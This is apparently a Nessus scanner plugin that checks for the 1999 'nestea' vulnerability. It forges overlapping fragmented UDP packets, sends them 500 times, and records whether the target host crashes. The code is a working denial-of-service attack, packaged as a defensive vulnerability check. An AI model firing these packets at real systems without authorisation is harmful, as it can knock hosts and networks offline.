home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / nestea.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  132 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10148);
  10.  script_bugtraq_id(7219);
  11.  script_version ("$Revision: 1.18 $");
  12.  script_cve_id("CAN-1999-0257");
  13.  name["english"] = "Nestea";
  14.  name["francais"] = "Nestea";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "It was possible
  18. to make the remote server crash
  19. using the 'nestea' attack. 
  20.  
  21. An attacker may use this flaw to
  22. shut down this server, thus 
  23. preventing your network from
  24. working properly
  25.  
  26. Solution : contact your operating
  27. system vendor for a patch.
  28.  
  29. Risk factor : High";
  30.  
  31.  
  32.  desc["francais"] = "Il s'est avΘrΘ
  33. possible de tuer la 
  34. machine distante en utilisant
  35. l'attaque 'nestea'. 
  36.  
  37. Un pirate peut utiliser cette
  38. attaque pour empecher votre
  39. rΘseau de fonctionner normallement.
  40.  
  41. Solution : contactez le vendeur
  42. de votre OS pour un patch.
  43.  
  44. Facteur de risque : ElevΘ";
  45.  
  46.  script_description(english:desc["english"], francais:desc["francais"]);
  47.  
  48.  summary["english"] = "Crashes the remote host using the 'nestea' attack";
  49.  summary["francais"] = "Tue le serveur distant en utilisant l'attaque 'nestea'";
  50.  script_summary(english:summary["english"], francais:summary["francais"]);
  51.  
  52.  script_category(ACT_KILL_HOST);
  53.  
  54.  
  55.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  56.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  57.  family["english"] = "Denial of Service";
  58.  family["francais"] = "DΘni de service";
  59.  script_family(english:family["english"], francais:family["francais"]);
  60.  
  61.  
  62.  exit(0);
  63. }
  64.  
  65. #
  66. # The script code starts here
  67. #
  68.  
  69. start_denial();
  70.  
  71.  
  72. # Don't read back the answers
  73.  
  74.  
  75. # Our "constants"
  76. MAGIC = 108;
  77. IPH   = 20;
  78. UDPH  = 8;
  79. PADDING = 256;
  80. IP_ID = 242;
  81. sport = 123;
  82. dport = 137;
  83.  
  84. ip = forge_ip_packet(ip_v : 4,
  85.              ip_hl : 5,
  86.              ip_tos : 0,
  87.              ip_id  : IP_ID,
  88.              ip_len : IPH + UDPH + 10,
  89.              ip_off : 0|IP_MF,
  90.              ip_p   : IPPROTO_UDP,
  91.              ip_src : this_host(),
  92.              ip_ttl : 0x40);
  93. # Forge the first udp packet             
  94. udp1 = forge_udp_packet(ip : ip,
  95.             uh_sport : sport,
  96.             uh_dport : dport,
  97.             uh_ulen : UDPH + 10);
  98.             
  99. # Change some params in the ip packet                     
  100. ip = set_ip_elements(ip:ip, ip_len : IPH + UDPH + MAGIC,
  101.                ip_off : 6);
  102.  
  103. # Forge the second udp packet             
  104. udp2 =     forge_udp_packet(ip : ip,
  105.             uh_sport : sport,
  106.             uh_dport : dport,
  107.             uh_ulen : UDPH + MAGIC);
  108.  
  109. # Change some params one more
  110. ip = set_ip_elements(ip : ip, ip_len : IPH + UDPH + PADDING + 40,
  111.             ip_off : 0|IP_MF);
  112.         
  113. # data = 'XXX.....XX'    
  114.     
  115. data = crap(PADDING);
  116. # Forge the third udp packet              
  117. udp3 =     forge_udp_packet(ip : ip,
  118.             uh_sport : sport,
  119.             uh_dport : dport,
  120.             uh_ulen : UDPH + PADDING,
  121.             data : data);
  122.             
  123. # Send our udp packets 500 times                                  
  124. send_packet(udp1, udp2, udp3, pcap_active:FALSE) x 500;
  125.  
  126. sleep(5);
  127. alive = end_denial();
  128. if(!alive){
  129.                 set_kb_item(name:"Host/dead", value:TRUE);
  130.                 security_hole(port:0, protocol:"udp");
  131.                 }
  132.